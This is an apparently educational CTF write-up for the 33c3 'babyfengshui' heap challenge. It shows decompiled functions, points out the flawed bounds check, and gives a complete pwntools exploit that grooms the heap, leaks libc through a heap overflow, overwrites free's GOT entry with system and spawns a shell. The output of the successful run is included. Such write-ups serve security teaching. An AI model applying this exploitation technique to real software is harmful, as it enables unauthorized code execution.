Excuse the ads! We need some help to keep our site up.

List

Heap Feng Shui

Implementation of Heap Feng Shui

OOL Port Feng Shui

Heap Feng Shui in JavaScript

Proof of concept

Sample code(33c3 CTF - babyfengshui)

File information

lazenca0x0@ubuntu:~/Exploit/HeapFensui$ file ./babyfengshui 
./babyfengshui: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=cecdaee24200fe5bbd3d34b30404961ca49067c6, stripped

lazenca0x0@ubuntu:~/Exploit/HeapFensui$ checksec --file ./babyfengshui 
[!] Pwntools does not support 32-bit Python.  Use a 64-bit release.
[*] '/home/lazenca0x0/Exploit/HeapFensui/babyfengshui'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
lazenca0x0@ubuntu:~/Exploit/HeapFensui$ 

Binary analysis (Finding vulnerabilities)

Main

void __cdecl __noreturn main()
{
  char v0; // [esp+3h] [ebp-15h]
  int menuID; // [esp+4h] [ebp-14h]
  size_t userInput; // [esp+8h] [ebp-10h]
  unsigned int v3; // [esp+Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  alarm(0x14u);
  while ( 1 )
  {
    puts("0: Add a user");
    puts("1: Delete a user");
    puts("2: Display a user");
    puts("3: Update a user description");
    puts("4: Exit");
    printf("Action: ");
    if ( __isoc99_scanf("%d", &menuID) == -1 )
      break;
    if ( !menuID )
    {
      printf("size of description: ");
      __isoc99_scanf("%u%c", &userInput, &v0);
      AddAUser(userInput);
    }
    if ( menuID == 1 )
    {
      printf("index: ");
      __isoc99_scanf("%d", &userInput);
      DeleteAUser(userInput);
    }
    if ( menuID == 2 )
    {
      printf("index: ");
      __isoc99_scanf("%d", &userInput);
      DisplayAUser(userInput);
    }
    if ( menuID == 3 )
    {
      printf("index: ");
      __isoc99_scanf("%d", &userInput);
      UpdateAUserDescription(userInput);
    }
    if ( menuID == 4 )
    {
      puts("Bye");
      exit(0);
    }
    if ( (unsigned __int8)cnt > 49u )
    {
      puts("maximum capacity exceeded, bye");
      exit(0);
    }
  }
  exit(1);
}

AddAUser()

struct USER{
  char *desc;
  char name[124];
};
USER *__cdecl AddAUser(size_t a1)
{
  char *desc; // ST24_4
  USER *userInfo; // ST28_4

  desc = (char *)malloc(a1);
  memset(desc, 0, a1);
  userInfo = (USER *)malloc(128u);
  memset(userInfo, 0, 128u);
  userInfo->desc = desc;
  gUserList[gCnt] = userInfo;
  printf("name: ");
  setText(gUserList[gCnt]->name, 124);
  UpdateAUserDescription(++gCnt - 1);
  return userInfo;
}

DeleteAUser()

unsigned int __cdecl DeleteAUser(unsigned __int8 number)
{
  unsigned int v2; // [esp+1Ch] [ebp-Ch]

  v2 = __readgsdword(0x14u);
  if ( number < gCnt && gUserList[number] )
  {
    free(gUserList[number]->desc);
    free(gUserList[number]);
    gUserList[number] = 0;
  }
  return __readgsdword(0x14u) ^ v2;
}

DisplayAUser()

unsigned int __cdecl DisplayAUser(unsigned __int8 number)
{
  unsigned int v2; // [esp+1Ch] [ebp-Ch]

  v2 = __readgsdword(0x14u);
  if ( number < gCnt && gUserList[number] )
  {
    printf("name: %s\n", gUserList[number]->name);
    printf("description: %s\n", gUserList[number]->desc);
  }
  return __readgsdword(0x14u) ^ v2;
}

UpdateAUserDescription()

unsigned int __cdecl UpdateAUserDescription(unsigned __int8 cnt)
{
  char CR; // [esp+17h] [ebp-11h]
  int textLength; // [esp+18h] [ebp-10h]
  unsigned int v4; // [esp+1Ch] [ebp-Ch]

  v4 = __readgsdword(0x14u);
  if ( cnt < gCnt && gUserList[cnt] )
  {
    textLength = 0;
    printf("text length: ");
    __isoc99_scanf("%u%c", &textLength, &CR);
    if ( &gUserList[cnt]->desc[textLength] >= &gUserList[cnt] - 4 )
    {
      puts("my l33t defenses cannot be fooled, cya!");
      exit(1);
    }
    printf("text: ");
    setText(gUserList[cnt]->desc, textLength + 1);
  }
  return __readgsdword(0x14u) ^ v4;
}

Analyze vulnerabilities

Heap layout

Structure of Exploit code 

  1. Heap Feng Shui
  2. Heap Overflow
    1. Overwrite *Description
  3. Leak Libc Address
  4. Overwrite .GOT
    1. system
  • Address of the .GOT
  • Address of the system function

Exploit Code

from pwn import *

#context.log_level = 'debug'

def addUser(desc, name, text):
    p.recvuntil('Action: ')
    p.sendline('0')
    p.recvuntil('size of description: ')
    p.sendline(str(desc))
    p.recvuntil('name: ')
    p.sendline(name)
    p.recvuntil('text length: ')
    p.sendline(str(len(text)))
    p.recvuntil('text: ')
    p.sendline(text)

def delUser(idx):
    p.recvuntil('Action: ')
    p.sendline('1')
    p.recvuntil('index: ')
    p.sendline(str(idx))

def displayUser(idx):
    p.recvuntil('Action: ')
    p.sendline('2')
    p.recvuntil('index:')
    p.sendline(str(idx))
    p.recvuntil('description: ')
    addr = p.recvline()
    return addr[:4]

def updateDesc(idx,size,text):
    p.recvuntil('Action: ')
    p.sendline('3')
    p.recvuntil('index: ')
    p.sendline(str(idx))
    p.recvuntil('text length: ')
    p.sendline(str(size))
    p.recvuntil('text: ')
    p.sendline(text)

p = process('./babyfengshui')
libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')

#Heap Feng Shui
addUser(10,'A'*10,'B'*10)
addUser(10,'A'*10,'B'*10)
addUser(len('/bin/sh'),'/bin/sh','/bin/sh')

#free()
delUser(0)

#Heap Overflow
addUser(120, 'HeapOverflow', 'A'*152+p32(0x804b010))

#Leak libc address
libcAddr = displayUser(1)

free = u32(libcAddr)
libcBase = free - libc.sym['free']
system = libcBase + libc.sym['system']

log.info('Libc base : '+hex(libcBase))
log.info('free() : '+hex(free))
log.info('system() : '+hex(system))

#Overwrite free.got
updateDesc(1,4,p32(system))

#system('/bin/sh')
delUser(2)

#Get shell
p.interactive()
lazenca0x0@ubuntu:~/Exploit/HeapFensui$ python exploit.py 
[+] Starting local process './babyfengshui': pid 8750
[*] '/lib/i386-linux-gnu/libc-2.23.so'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Libc base : 0xf7d48000
[*] free() : 0xf7db8750
[*] system() : 0xf7d82940
[*] Switching to interactive mode
$ id
uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
$

References